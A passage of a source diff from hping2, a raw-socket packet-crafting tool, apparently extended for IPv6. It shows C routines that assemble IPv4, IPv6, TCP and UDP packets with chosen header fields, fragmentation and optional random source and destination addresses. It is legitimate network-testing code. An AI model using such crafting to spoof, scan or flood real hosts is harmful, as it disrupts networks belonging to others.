ip->tot_len = htons(packetsize);
#endif
if (!opt_fragment)
{
ip->id = (src_id == -1) ?
htons((unsigned short) rand()) :
htons((unsigned short) src_id);
}
else /* if you need fragmentation id must not be randomic */
{
/* FIXME: when frag. enabled sendip_handler shold inc. ip->id */
/* for every frame sent */
ip->id = (src_id == -1) ?
htons(getpid() & 255) :
htons((unsigned short) src_id);
}
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
/* FreeBSD */
/* NetBSD */
ip->frag_off |= more_fragments;
ip->frag_off |= fragoff >> 3;
#else
/* Linux */
/* OpenBSD */
ip->frag_off |= htons(more_fragments);
ip->frag_off |= htons(fragoff >> 3); /* shift three flags bit */
#endif
ip->ttl = src_ttl;
if (opt_rawipmode) ip->protocol = raw_ip_protocol;
else if (opt_icmpmode) ip->protocol = 1; /* icmp */
else if (opt_udpmode) ip->protocol = 17; /* udp */
else ip->protocol = 6; /* tcp */
ip->check = 0; /* always computed by the kernel */
/* copies options */
if (options != NULL)
memcpy(packet+IPHDR_SIZE, options, optlen);
/* copies data */
memcpy(packet + IPHDR_SIZE + optlen, data, datalen);
if (opt_debug == TRUE)
{
unsigned int i;
for (i=0; i<packetsize; i++)
printf("%.2X ", packet[i]&255);
printf("\n");
}
result = sendto(sockraw, packet, packetsize, 0,
(struct sockaddr*)&remote, sizeof(remote));
if (result == -1 && errno != EINTR && !opt_rand_dest && !opt_rand_source) {
perror("[send_ip] sendto");
if (close(sockraw) == -1)
perror("[ipsender] close(sockraw)");
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
if (close_pcap() == -1)
printf("[ipsender] close_pcap failed\n");
#else
if (close_sockpacket(sockpacket) == -1)
perror("[ipsender] close(sockpacket)");
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
exit(1);
}
free(packet);
sum_bytes += packetsize;
sum_packets++;
/* inc packet id for safe protocol */
if (opt_safe && !eof_reached)
src_id++;
}

94
sendip6.c Normal file
View File

@ -0,0 +1,94 @@
/*
* $smu-mark$
* $name: sendip6.c$
* $author: Matyas Koszik <koszik@atw.hu>$
* $copyright: Copyright (C) 2006 by Matyas Koszik$
* $license: This software is under GPL version 2 of license$
* $date: Sun Apr 16 05:18:30 CEST 2006$
* $rev: 1$
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include "hping2.h"
#include "globals.h"
void send_ip6 (char *src, char *dst, char *data, unsigned int datalen)
{
char *packet;
int result,
packetsize;
struct myip6hdr *ip6;
packetsize = IP6HDR_SIZE + datalen;
if ( (packet = malloc(packetsize)) == NULL) {
perror("[send_ip] malloc()");
return;
}
memset(packet, 0, packetsize);
ip6 = (struct myip6hdr*) packet;
/* copy src and dst address */
memcpy(ip6->saddr, src, sizeof(ip6->saddr));
memcpy(ip6->daddr, dst, sizeof(ip6->daddr));
/* build ip header */
ip6->version = 6;
// ip->tos = ip_tos;
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
/* FreeBSD */
/* NetBSD */
ip6->paylen = datalen;
#else
/* Linux */
/* OpenBSD */
ip6->paylen = htons(datalen);
#endif
ip6->hoplimit = src_ttl;
if (opt_rawipmode) ip6->nextheader = raw_ip_protocol;
else if (opt_icmpmode) ip6->nextheader = 58; /* icmp */
else if (opt_udpmode) ip6->nextheader = 17; /* udp */
else ip6->nextheader = 6; /* tcp */
/* copies data */
memcpy(packet + IP6HDR_SIZE, data, datalen);
if (opt_debug == TRUE)
{
unsigned int i;
for (i=0; i<packetsize; i++)
printf("%.2X ", packet[i]&255);
printf("\n");
}
result = sendto(sockraw, packet, packetsize, 0,
(struct sockaddr*)&remote, sizeof(remote));
if (result == -1 && errno != EINTR && !opt_rand_dest && !opt_rand_source) {
perror("[send_ip6] sendto");
if (close(sockraw) == -1)
perror("[ipsender] close(sockraw)");
#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP)
if (close_pcap() == -1)
printf("[ipsender] close_pcap failed\n");
#else
if (close_sockpacket(sockpacket) == -1)
perror("[ipsender] close(sockpacket)");
#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */
exit(1);
}
free(packet);
sum_bytes += packetsize;
sum_packets++;
}

74
sendip_handler.c Normal file
View File

@ -0,0 +1,74 @@
/*
* $smu-mark$
* $name: sendip_handler.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 3$
*/
#include <stdio.h>
#include "hping2.h"
#include "globals.h"
void send_ip_handler(char *packet, unsigned int size)
{
if(opt_ipv6)
{
send_ip6((char*)&ADDR6(&local),
(char*)&ADDR6(&remote),
packet, size);
return;
}
ip_optlen = ip_opt_build(ip_opt);
if (!opt_fragment && (size+ip_optlen+20 >= h_if_mtu))
{
/* auto-activate fragmentation */
virtual_mtu = h_if_mtu-20;
virtual_mtu = virtual_mtu - (virtual_mtu % 8);
opt_fragment = TRUE;
opt_mf = opt_df = FALSE; /* deactivate incompatible options */
if (opt_verbose || opt_debug)
printf("auto-activate fragmentation, fragments size: %d\n", virtual_mtu);
}
if (!opt_fragment)
{
unsigned short fragment_flag = 0;
if (opt_mf) fragment_flag |= MF; /* more fragments */
if (opt_df) fragment_flag |= DF; /* dont fragment */
send_ip((char*)&ADDR4(&local),
(char*)&ADDR4(&remote),
packet, size, fragment_flag, ip_frag_offset,
ip_opt, ip_optlen);
}
else
{
unsigned int remainder = size;
int frag_offset = 0;
while(1) {
if (remainder <= virtual_mtu)
break;
send_ip((char*)&ADDR4(&local),
(char*)&ADDR4(&remote),
packet+frag_offset,
virtual_mtu, MF, frag_offset,
ip_opt, ip_optlen);
remainder-=virtual_mtu;
frag_offset+=virtual_mtu;
}
send_ip((char*)&ADDR4(&local),
(char*)&ADDR4(&remote),
packet+frag_offset,
remainder, NF, frag_offset,
ip_opt, ip_optlen);
}
}

25
sendrawip.c Normal file
View File

@ -0,0 +1,25 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include "hping2.h"
#include "globals.h"
void send_rawip(void)
{
char *packet;
packet = malloc(data_size);
if (packet == NULL) {
perror("[send_rawip] malloc()");
return;
}
memset(packet, 0, data_size);
data_handler(packet, data_size);
send_ip_handler(packet, data_size);
free(packet);
}

118
sendtcp.c Normal file
View File

@ -0,0 +1,118 @@
/*
* $smu-mark$
* $name: sendtcp.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 8$
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include "hping2.h"
#include "globals.h"
void send_tcp(void)
{
int packet_size;
int tcp_opt_size = 0;
char *packet, *data;
struct mytcphdr *tcp;
struct pseudohdr *pseudoheader;
struct pseudohdr6 *pseudoheader6;
unsigned char *tstamp;
int pslen;
if (opt_tcp_timestamp)
tcp_opt_size = 12;
if(opt_ipv6)
pslen = PSEUDOHDR6_SIZE;
else
pslen = PSEUDOHDR_SIZE;
packet_size = TCPHDR_SIZE + tcp_opt_size + data_size;
packet = malloc(pslen + packet_size);
if (packet == NULL) {
perror("[send_tcphdr] malloc()");
return;
}
pseudoheader = (struct pseudohdr*) packet;
pseudoheader6 = (struct pseudohdr6*) packet;
tcp = (struct mytcphdr*) (packet+pslen);
tstamp = (unsigned char*) (packet+pslen+TCPHDR_SIZE);
data = (char*) (packet+pslen+TCPHDR_SIZE+tcp_opt_size);
memset(packet, 0, pslen+packet_size);
/* tcp pseudo header */
if(opt_ipv6)
{
memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16);
memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16);
pseudoheader6->protocol = IPPROTO_TCP;
pseudoheader6->lenght = htons(packet_size);
}
else
{
memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4);
memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4);
pseudoheader->protocol = IPPROTO_TCP;
pseudoheader->lenght = htons(packet_size);
}
/* tcp header */
tcp->th_dport = htons(dst_port);
tcp->th_sport = htons(src_port);
/* sequence number and ack are random if not set */
tcp->th_seq = (set_seqnum) ? htonl(tcp_seqnum) : htonl(rand());
tcp->th_ack = (set_ack) ? htonl(tcp_ack) : htonl(rand());
tcp->th_off = src_thoff + (tcp_opt_size >> 2);
tcp->th_win = htons(src_winsize);
tcp->th_flags = tcp_th_flags;
/* tcp timestamp option */
if (opt_tcp_timestamp) {
__u32 randts = rand() ^ (rand() << 16);
tstamp[0] = tstamp[1] = 1; /* NOOP */
tstamp[2] = 8;
tstamp[3] = 10; /* 10 bytes, kind+len+T1+T2 */
memcpy(tstamp+4, &randts, 4); /* random */
memset(tstamp+8, 0, 4); /* zero */
}
/* data */
data_handler(data, data_size);
/* compute checksum */
#ifdef STUPID_SOLARIS_CHECKSUM_BUG
tcp->th_sum = packet_size;
#else
tcp->th_sum = cksum((u_short*) packet, pslen + packet_size);
#endif
/* adds this pkt in delaytable */
delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT);
/* send packet */
send_ip_handler(packet+pslen, packet_size);
free(packet);
sequence++; /* next sequence number */
if (!opt_keepstill)
src_port = (sequence + initsport) % 65536;
if (opt_force_incdport)
dst_port++;
}

98
sendudp.c Normal file
View File

@ -0,0 +1,98 @@
/*
* $smu-mark$
* $name: sendudp.c$
* $author: Salvatore Sanfilippo <antirez@invece.org>$
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
* $license: This software is under GPL version 2 of license$
* $date: Fri Nov 5 11:55:49 MET 1999$
* $rev: 8$
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <sys/time.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include "hping2.h"
#include "globals.h"
/* void hexdumper(unsigned char *packet, int size); */
void send_udp(void)
{
int packet_size;
char *packet, *data;
struct myudphdr *udp;
struct pseudohdr *pseudoheader;
struct pseudohdr6 *pseudoheader6;
int pslen;
if(opt_ipv6)
pslen = PSEUDOHDR6_SIZE;
else
pslen = PSEUDOHDR_SIZE;
packet_size = UDPHDR_SIZE + data_size;
packet = malloc(pslen + packet_size);
if (packet == NULL) {
perror("[send_udphdr] malloc()");
return;
}
pseudoheader = (struct pseudohdr*) packet;
pseudoheader6 = (struct pseudohdr6*) packet;
udp = (struct myudphdr*) (packet+pslen);
data = (char*) (packet+pslen+UDPHDR_SIZE);
memset(packet, 0, pslen+packet_size);
/* udp pseudo header */
if(opt_ipv6)
{
memcpy(&pseudoheader6->saddr, &ADDR6(&local).s6_addr, 16);
memcpy(&pseudoheader6->daddr, &ADDR6(&remote).s6_addr, 16);
pseudoheader6->protocol = IPPROTO_UDP;
pseudoheader6->lenght = htons(packet_size);
}
else
{
memcpy(&pseudoheader->saddr, &ADDR4(&local).s_addr, 4);
memcpy(&pseudoheader->daddr, &ADDR4(&remote).s_addr, 4);
pseudoheader->protocol = IPPROTO_UDP;
pseudoheader->lenght = htons(packet_size);
}
/* udp header */
udp->uh_dport = htons(dst_port);
udp->uh_sport = htons(src_port);
udp->uh_ulen = htons(packet_size);
/* data */
data_handler(data, data_size);
/* compute checksum */
#ifdef STUPID_SOLARIS_CHECKSUM_BUG
udp->uh_sum = packet_size;
#else
udp->uh_sum = cksum((__u16*) packet, pslen + packet_size);
#endif
/* adds this pkt in delaytable */
delaytable_add(sequence, src_port, time(NULL), get_usec(), S_SENT);
/* send packet */
send_ip_handler(packet+pslen, packet_size);
free(packet);
sequence++; /* next sequence number */
if (!opt_keepstill)
src_port = (sequence + initsport) % 65536;
if (opt_force_incdport)
dst_port++;
}

29
signal.c Normal file
View File

@ -0,0 +1,29 @@
/* protable signal() like */
#include <signal.h>
/* Portable signal() from R.Stevens,
* modified to reset the handler */
void (*Signal(int signo, void (*func)(int)))(int)
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0; /* So if set SA_RESETHAND is cleared */
if (signo == SIGALRM)
{
#ifdef SA_INTERRUPT
act.sa_flags |= SA_INTERRUPT; /* SunOS 4.x */
#endif
}
else
{
#ifdef SA_RESTART
act.sa_flags |= SA_RESTART; /* SVR4, 4.4BSD, Linux */
#endif
}
if (sigaction(signo, &act, &oact) == -1)
return SIG_ERR;
return (oact.sa_handler);
}

Some files were not shown because too many files have changed in this diff Show More